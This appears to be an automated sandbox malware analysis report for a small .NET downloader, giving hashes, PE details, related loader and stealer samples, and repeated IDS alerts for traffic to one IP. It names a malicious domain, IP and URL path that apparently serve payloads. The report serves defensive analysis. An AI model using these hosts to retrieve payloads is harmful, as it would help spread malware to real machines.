Classification:	mal64.winEXE@1/0@1/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 10 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target iRmpdWgpoF.exe, PID 6428 because it is empty
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.181.116.217	r096teIe1H.exe	Get hash	malicious	DBatLoader	Browse	balkancelikdovme.com/hjghgynyvbtvyugjhbugvdveksk/Xezdxpgykmk
185.181.116.217	r096teIe1H.exe	Get hash	malicious	DBatLoader	Browse	balkancelikdovme.com/hjghgynyvbtvyugjhbugvdveksk/Xezdxpgykmk

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
balkancelikdovme.com	#U00d6deme tavsiyesi.pdf.exe	Get hash	malicious	Unknown	Browse	185.181.116.217
	#U00d6deme tavsiyesi.pdf.exe	Get hash	malicious	Unknown	Browse	185.181.116.217
	new_order_xlsx.exe	Get hash	malicious	DBatLoader	Browse	185.181.116.217
	new_order_xlsx.exe	Get hash	malicious	DBatLoader	Browse	185.181.116.217
	r096teIe1H.exe	Get hash	malicious	DBatLoader	Browse	185.181.116.217
	r096teIe1H.exe	Get hash	malicious	DBatLoader	Browse	185.181.116.217
	0vJrK0NCd1.exe	Get hash	malicious	Remcos, DBatLoader, FloodFix	Browse	185.181.116.217

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GYRONGB	#U00d6deme tavsiyesi.pdf.exe	Get hash	malicious	Unknown	Browse	185.181.116.217
	#U00d6deme tavsiyesi.pdf.exe	Get hash	malicious	Unknown	Browse	185.181.116.217
	jew.m68k.elf	Get hash	malicious	Unknown	Browse	83.223.101.8
	HhaL0xmHfu.elf	Get hash	malicious	Mirai	Browse	89.145.115.227
	3Lf408k9mg.exe	Get hash	malicious	PureLog Stealer, SystemBC	Browse	91.197.228.89
	file.exe	Get hash	malicious	SystemBC	Browse	83.223.113.41
	NJh7IrK6IZ.elf	Get hash	malicious	Mirai	Browse	83.223.101.9
	a5hbkmGD7N.exe	Get hash	malicious	Pushdo	Browse	83.223.113.46
	G7DyaA9iz9.exe	Get hash	malicious	Pushdo	Browse	83.223.113.46

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	185.181.116.217
	3pwbTZtiDu.exe	Get hash	malicious	Unknown	Browse	185.181.116.217
	JgE2YgxSzB.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	185.181.116.217
	87J30ulb4q.exe	Get hash	malicious	Unknown	Browse	185.181.116.217
	lsc5QN46NH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	185.181.116.217
	V7OHj6ISEo.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	185.181.116.217
	jG8N6WDJOx.exe	Get hash	malicious	AgentTesla	Browse	185.181.116.217
	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	185.181.116.217
	6mGpn6kupm.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	185.181.116.217

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	4.356118358889138
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	iRmpdWgpoF.exe
File size:	6'144 bytes
MD5:	26d35e00a9c0b32cbed369bf309f096e
SHA1:	1b9b2935ecf5e458fa8a797c495a6d9e2798cd86
SHA256:	5d7e89b8db72156f0a75c96b371de14eb2ee4dc2148bc7a37e48b863e3ab50e3
SHA512:	8f8d54bf619a5ddccd41531276fa3ce34b298eb51a742bbfc2bfe01003430d85bdbcc39262384717370abfa1d8b2dbb6c823f1c190e51e546ec0f998e81cbd06
SSDEEP:	48:69o+1SIBzEM3UM7gT44vJhgyz6yw9/NOjWYbqYxVZeUBWpC7s03ACtDSl6AWFdhY:v9I6sTs1vJhkujWUnEUBWo7nmcxzNt
TLSH:	1EC1A419A3C85333E9730B3E9DB2A741436CF350DCA3CBDE3488160B6D0A7586961F65
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Xg............................r,... ...@....@.. ....................................`................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x402c72
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x675809E8 [Tue Dec 10 09:29:12 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2c28	0x4a	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0x57e	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xc78	0xe00	5c68a4da3994b5d592f2f2c3c85b8f52	False	0.5265066964285714	data	4.9554281785763195	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x4000	0x57e	0x600	162257f296bc2b438baac2c3ad30d235	False	0.4166666666666667	data	4.030667915990293	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x6000	0xc	0x200	ba99fecd2d2237cdf790c705dc7d525a	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x405c	0x2fc	data			0.43848167539267013
RT_MANIFEST	0x4394	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T22:37:17.027985+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49731	185.181.116.217	443	TCP
2025-01-10T22:37:17.935472+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49732	185.181.116.217	443	TCP
2025-01-10T22:37:18.859639+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49733	185.181.116.217	443	TCP
2025-01-10T22:37:19.771756+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49734	185.181.116.217	443	TCP
2025-01-10T22:37:20.642486+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49735	185.181.116.217	443	TCP
2025-01-10T22:37:21.518644+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49736	185.181.116.217	443	TCP
2025-01-10T22:37:22.392010+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49737	185.181.116.217	443	TCP
2025-01-10T22:37:23.258895+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49738	185.181.116.217	443	TCP
2025-01-10T22:37:24.148929+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49739	185.181.116.217	443	TCP
2025-01-10T22:37:25.035227+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49740	185.181.116.217	443	TCP
2025-01-10T22:37:25.906914+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49741	185.181.116.217	443	TCP
2025-01-10T22:37:26.807740+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49742	185.181.116.217	443	TCP
2025-01-10T22:37:27.700345+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49743	185.181.116.217	443	TCP
2025-01-10T22:37:28.580028+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49744	185.181.116.217	443	TCP
2025-01-10T22:37:29.470052+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49745	185.181.116.217	443	TCP
2025-01-10T22:37:30.380235+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49746	185.181.116.217	443	TCP
2025-01-10T22:37:31.257300+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49747	185.181.116.217	443	TCP
2025-01-10T22:37:32.123848+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49749	185.181.116.217	443	TCP
2025-01-10T22:37:33.000476+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49751	185.181.116.217	443	TCP
2025-01-10T22:37:33.899334+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49754	185.181.116.217	443	TCP
2025-01-10T22:37:34.819789+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49756	185.181.116.217	443	TCP
2025-01-10T22:37:35.688258+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49758	185.181.116.217	443	TCP
2025-01-10T22:37:36.554040+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49759	185.181.116.217	443	TCP
2025-01-10T22:37:37.445450+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49760	185.181.116.217	443	TCP
2025-01-10T22:37:38.334350+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49761	185.181.116.217	443	TCP
2025-01-10T22:37:39.197532+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49762	185.181.116.217	443	TCP
2025-01-10T22:37:40.066222+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49763	185.181.116.217	443	TCP
2025-01-10T22:37:40.943577+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49764	185.181.116.217	443	TCP
2025-01-10T22:37:41.834585+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49765	185.181.116.217	443	TCP
2025-01-10T22:37:42.717583+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49766	185.181.116.217	443	TCP
2025-01-10T22:37:43.603518+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49767	185.181.116.217	443	TCP
2025-01-10T22:37:44.492771+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49768	185.181.116.217	443	TCP
2025-01-10T22:37:45.399204+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49769	185.181.116.217	443	TCP
2025-01-10T22:37:46.281502+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49770	185.181.116.217	443	TCP
2025-01-10T22:37:47.165140+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49771	185.181.116.217	443	TCP
2025-01-10T22:37:48.030689+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49772	185.181.116.217	443	TCP
2025-01-10T22:37:48.934478+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49773	185.181.116.217	443	TCP
2025-01-10T22:37:49.799640+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49774	185.181.116.217	443	TCP
2025-01-10T22:37:50.701251+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49775	185.181.116.217	443	TCP
2025-01-10T22:37:51.610353+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49776	185.181.116.217	443	TCP
2025-01-10T22:37:52.494030+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49777	185.181.116.217	443	TCP
2025-01-10T22:37:53.407764+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49778	185.181.116.217	443	TCP
2025-01-10T22:37:54.286958+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49779	185.181.116.217	443	TCP
2025-01-10T22:37:55.195459+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49780	185.181.116.217	443	TCP
2025-01-10T22:37:56.065901+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49781	185.181.116.217	443	TCP
2025-01-10T22:37:56.971350+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49782	185.181.116.217	443	TCP
2025-01-10T22:37:57.887107+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49783	185.181.116.217	443	TCP
2025-01-10T22:37:58.772796+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49784	185.181.116.217	443	TCP
2025-01-10T22:37:59.642928+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49785	185.181.116.217	443	TCP
2025-01-10T22:38:00.531370+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49786	185.181.116.217	443	TCP
2025-01-10T22:38:01.421698+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49787	185.181.116.217	443	TCP
2025-01-10T22:38:02.307622+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49788	185.181.116.217	443	TCP
2025-01-10T22:38:03.183640+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49789	185.181.116.217	443	TCP
2025-01-10T22:38:04.076826+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49790	185.181.116.217	443	TCP
2025-01-10T22:38:04.997178+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49791	185.181.116.217	443	TCP
2025-01-10T22:38:05.895011+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49792	185.181.116.217	443	TCP
2025-01-10T22:38:06.789059+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49793	185.181.116.217	443	TCP
2025-01-10T22:38:07.676161+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49794	185.181.116.217	443	TCP
2025-01-10T22:38:08.543496+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49795	185.181.116.217	443	TCP
2025-01-10T22:38:09.411433+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49796	185.181.116.217	443	TCP
2025-01-10T22:38:10.278580+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49797	185.181.116.217	443	TCP
2025-01-10T22:38:11.181534+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49800	185.181.116.217	443	TCP
2025-01-10T22:38:12.070282+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49801	185.181.116.217	443	TCP
2025-01-10T22:38:12.939814+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49807	185.181.116.217	443	TCP
2025-01-10T22:38:13.844533+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49818	185.181.116.217	443	TCP
2025-01-10T22:38:14.740005+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49824	185.181.116.217	443	TCP
2025-01-10T22:38:15.636739+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49830	185.181.116.217	443	TCP
2025-01-10T22:38:16.536096+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49836	185.181.116.217	443	TCP
2025-01-10T22:38:17.400864+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49842	185.181.116.217	443	TCP
2025-01-10T22:38:18.262857+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49848	185.181.116.217	443	TCP
2025-01-10T22:38:19.137633+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49858	185.181.116.217	443	TCP
2025-01-10T22:38:20.036534+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49865	185.181.116.217	443	TCP
2025-01-10T22:38:20.940174+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49871	185.181.116.217	443	TCP
2025-01-10T22:38:21.840998+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49877	185.181.116.217	443	TCP
2025-01-10T22:38:22.745620+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49883	185.181.116.217	443	TCP
2025-01-10T22:38:23.616164+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49889	185.181.116.217	443	TCP
2025-01-10T22:38:24.503249+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49896	185.181.116.217	443	TCP
2025-01-10T22:38:25.397857+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49902	185.181.116.217	443	TCP
2025-01-10T22:38:26.282448+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49912	185.181.116.217	443	TCP
2025-01-10T22:38:27.156164+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49918	185.181.116.217	443	TCP
2025-01-10T22:38:28.031549+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49924	185.181.116.217	443	TCP
2025-01-10T22:38:28.905739+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49930	185.181.116.217	443	TCP
2025-01-10T22:38:29.788301+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49936	185.181.116.217	443	TCP
2025-01-10T22:38:30.687788+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49941	185.181.116.217	443	TCP
2025-01-10T22:38:31.572634+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49947	185.181.116.217	443	TCP
2025-01-10T22:38:32.442473+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49955	185.181.116.217	443	TCP
2025-01-10T22:38:33.345579+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49963	185.181.116.217	443	TCP
2025-01-10T22:38:34.216723+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49969	185.181.116.217	443	TCP
2025-01-10T22:38:35.093942+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49975	185.181.116.217	443	TCP
2025-01-10T22:38:35.974417+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49982	185.181.116.217	443	TCP
2025-01-10T22:38:36.865511+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49988	185.181.116.217	443	TCP
2025-01-10T22:38:37.730685+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49994	185.181.116.217	443	TCP
2025-01-10T22:38:38.597110+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50004	185.181.116.217	443	TCP
2025-01-10T22:38:39.505463+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50009	185.181.116.217	443	TCP
2025-01-10T22:38:40.376786+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50015	185.181.116.217	443	TCP
2025-01-10T22:38:41.280521+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50022	185.181.116.217	443	TCP
2025-01-10T22:38:42.151332+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50029	185.181.116.217	443	TCP
2025-01-10T22:38:43.021622+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50035	185.181.116.217	443	TCP
2025-01-10T22:38:43.895394+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50042	185.181.116.217	443	TCP
2025-01-10T22:38:44.779534+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50050	185.181.116.217	443	TCP
2025-01-10T22:38:45.645733+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50056	185.181.116.217	443	TCP
2025-01-10T22:38:46.511816+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50062	185.181.116.217	443	TCP
2025-01-10T22:38:47.393092+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50069	185.181.116.217	443	TCP
2025-01-10T22:38:48.282701+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50076	185.181.116.217	443	TCP
2025-01-10T22:38:49.156502+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50082	185.181.116.217	443	TCP
2025-01-10T22:38:50.047939+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50088	185.181.116.217	443	TCP
2025-01-10T22:38:50.996448+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50096	185.181.116.217	443	TCP
2025-01-10T22:38:51.887063+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50103	185.181.116.217	443	TCP
2025-01-10T22:38:52.771846+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50109	185.181.116.217	443	TCP
2025-01-10T22:38:53.661729+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50112	185.181.116.217	443	TCP
2025-01-10T22:38:54.533726+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50113	185.181.116.217	443	TCP
2025-01-10T22:38:55.410322+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50114	185.181.116.217	443	TCP
2025-01-10T22:38:56.308664+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50115	185.181.116.217	443	TCP
2025-01-10T22:38:57.197935+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50116	185.181.116.217	443	TCP
2025-01-10T22:38:58.099155+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50117	185.181.116.217	443	TCP
2025-01-10T22:38:58.988815+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50118	185.181.116.217	443	TCP
2025-01-10T22:38:59.892548+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50119	185.181.116.217	443	TCP
2025-01-10T22:39:00.773019+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50120	185.181.116.217	443	TCP
2025-01-10T22:39:01.646965+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50121	185.181.116.217	443	TCP
2025-01-10T22:39:02.537953+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50122	185.181.116.217	443	TCP
2025-01-10T22:39:03.410873+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50123	185.181.116.217	443	TCP
2025-01-10T22:39:04.293423+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50124	185.181.116.217	443	TCP
2025-01-10T22:39:05.192962+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50125	185.181.116.217	443	TCP
2025-01-10T22:39:06.067461+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50126	185.181.116.217	443	TCP
2025-01-10T22:39:06.955766+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50127	185.181.116.217	443	TCP
2025-01-10T22:39:07.824698+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50128	185.181.116.217	443	TCP
